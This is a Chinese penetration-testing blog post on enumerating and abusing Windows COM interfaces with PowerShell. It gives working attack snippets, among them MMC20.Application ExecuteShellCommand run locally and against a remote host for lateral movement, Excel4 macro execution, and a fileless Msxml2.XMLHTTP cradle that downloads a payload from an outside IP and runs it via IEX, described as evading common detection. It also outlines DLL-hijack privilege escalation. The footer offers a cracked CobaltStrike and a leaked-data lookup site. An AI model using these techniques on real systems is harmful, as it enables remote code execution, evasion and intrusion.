COM接口学习与利用

admin 2023年10月20日11:22:12评论28 views字数 4281阅读14分16秒阅读模式

OM componentCOM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。

在 COM 构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统

由此带来的好处是多方面的:可以将系统中的组件用新的替换掉,以便随时进行系统的升级和定制;可以在多个应用系统中重复利用同一个组件;可以方便的将应用系统扩展到网络环境下;COM 与语言、平台无关的特性使所有的程序员均可充分发挥自己的才智与专长编写组件模块

找了篇文章编写了一个 COM接口

参考链接: 

https://www.cnblogs.com/xiaokang088/archive/2011/05/16/2047376.html

COM接口 里有个 calc 函数

COM接口学习与利用

生成 DLL 用 regsvr32 注册完后,可以在 HKEY_CLASSES_ROOTCLSID 下可以见到注册好的 dll

COM接口学习与利用

使用 powershell 可以查询对应 COM 的可用函数

$obj =[activator]::CreateInstance([type]::GetTypeFromCLSID("20CE411F-4415-4017-B797-66AE3B8C9A4D")) 
#枚举对于appid可用的函数
$obj | get-member

COM接口学习与利用

调用对应 COM接口 的函数

$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("20CE411F-4415-4017-B797-66AE3B8C9A4D"))
$handle.calc()

COM接口学习与利用

注册表路径说明

HKEY_CLASSES_ROOTCLSID 所有 COM接口 对应的 CLSID 都在这个项或子项下

COM接口学习与利用

CLSID 项下常见的子项

inprocHandler32
lnprocServer32
TypeLib
version
progID

inprocHandler32 写着这个 COM接口 处理的 dll

COM接口学习与利用

InprocServer32 写着接口的信息/版本

COM接口学习与利用

枚举机器上所有的CLSID

指定类名为 WIN32_DCOMApplication

Get-CimInstance -ClassName WIN32_DCOMApplication

COM接口学习与利用

Get-CimInstance (简写:Get-cim)作用:从 CIM服务器 获取类的 CIM实例

COM接口学习与利用

CIM:公共信息模型(CIM)是用于描述受管理资源(如存储,网络或软件组件)的结构和行为的 DMTF标准 [DSP0004]

查询指定 CLSID 可用函数

$obj =[activator]::CreateInstance([type]::GetTypeFromCLSID("C5EDFC9D-B018-41A4-9877-39AB18469C3A"))
$obj | get-member

COM接口学习与利用

快速提起所有 CLSID 和对应的 CLSID 里的函数

Get-CimInstance -ClassName WIN32_DCOMApplication | Select-Object appid | out-file clsids.txt
$Position  = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
      Write-Output "$($Position) - $($CLSID)"
      Write-Output "------------------------" | Out-File $Filename -Append
      Write-Output $($CLSID) | Out-File $Filename -Append
      $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
      $handle | Get-Member | Out-File $Filename -Append
      $Position += 1
}

(Method 为方法,Property 为参数设置之类的)

COM接口学习与利用

枚举某个 Application

$obj =[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))  
$obj | Get-Member

COM接口学习与利用

属性继续枚举

$obj =[activator]::CreateInstance([type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889"))
$obj.Document | Get-Member

COM接口学习与利用

COM接口学习与利用

寻找可利用的COM接口

对应的 CLSID 是 MMC.exe(那么是否代表着系统自带的程序可以执行命令的话,可以找找一个 COM接口 的函数),如果是不开源的话只能用 IDA 或 Oleview.exe 反编译了

COM接口学习与利用

COM接口 里枚举出来的函数(如果是微软公开的话)可以到:https://docs.microsoft.com/en-us/search/?dataSource=previousVersions&terms=

搜索,例如:ExecuteShellCommand

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand

COM接口学习与利用

调用函数(注意:如果注册表查询 CLSID子项 带有 ProgID 的话需要指定 ProgID 调用方法或属性)

COM接口学习与利用

$handle = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"))
$handle.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")

COM接口学习与利用

思考:能不能通过微软文档搜索比如什么:Exec,command,file.urldownload 这些函数,如果找的到在 CLSID 项里搜索对应的 exe/dll,然后调用呢。

或在 HKEY_CLASSES_ROOTCLSID 下寻找有 ProgID 的子项 CLSID,寻找可利用项。为什么要找带有 ProgID 子项的 CLSID?因为这些一般都是系统自带的


利用COM接口

可以根据对应 COM接口 枚举出的函数名进行分析,或者猜解。例如:

$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("00020906-0000-0000-C000-000000000046"))
$handle.ExecuteExcel4Macro("EXEC(""calc.exe"")")

COM接口学习与利用

比如,{F5078F35-C551-11D3-89B9-0000F81FE221} 这个 COM对象Msxml2.XMLHTTP.3.0)对外提供了一个 XML HTTP 3.0 功能,可以用来下载任意代码并执行,无需将 payload 写入磁盘,也不会触发基于 System.Net.WebClient 的常用检测规则。

XML HTTP 3.0 对象通常用来发起 AJAX 请求。在这种情况下,获取数据的方式非常简单,直接使用 Invoke-Expression cmdlet(IEX) 即可

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));
$o.Open("GET""http://192.168.1.106/payload.txt"$False);
$o.Send();
IEX $o.responseText;

COM接口学习与利用

COM接口学习与利用

对应的 open 函数反汇编

COM接口学习与利用

文章里有用 Oleview.exe 进行对 dll 的反编译,也有用 IDA 对指定 DLL 的函数进行分析。需要一定的基础进行分析

COM 的利用方式:

寻找COM接口对应注册表的lnprocServer32缺少的dll/exe替换进行提权
利用COM接口远程调用

COM 远程利用:

$handle = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.113.130"))
$handle.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")

COM接口学习与利用

COM接口学习与利用

参考链接:https://www.cnblogs.com/xiaokang088/archive/2011/05/16/2047376.htmlhttps://www.anquanke.com/post/id/217928https://www.anquanke.com/post/id/179927


COM接口学习与利用

关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境0006 获取 CobaltStrike 4.9破解版


加我微信好友,邀请你进交流群


COM接口学习与利用



往期推荐

对某金融App的加解密hook+rpc+绕过SSLPinning抓包

疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击

Fofa新产品 - 绕CDN溯源真实IP!

团队在线Windows进程识别正式内测

突发!微信疑似存在RCE

域渗透之NTLM Relay

Java审计之CMS中的那些反序列化漏洞

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

日常记录对某站点的实战渗透

备用号,欢迎关注


COM接口学习与利用

原文始发于微信公众号(刨洞安全团队):COM接口学习与利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月20日11:22:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   COM接口学习与利用https://cn-sec.com/archives/2130267.html

发表评论

匿名网友 填写信息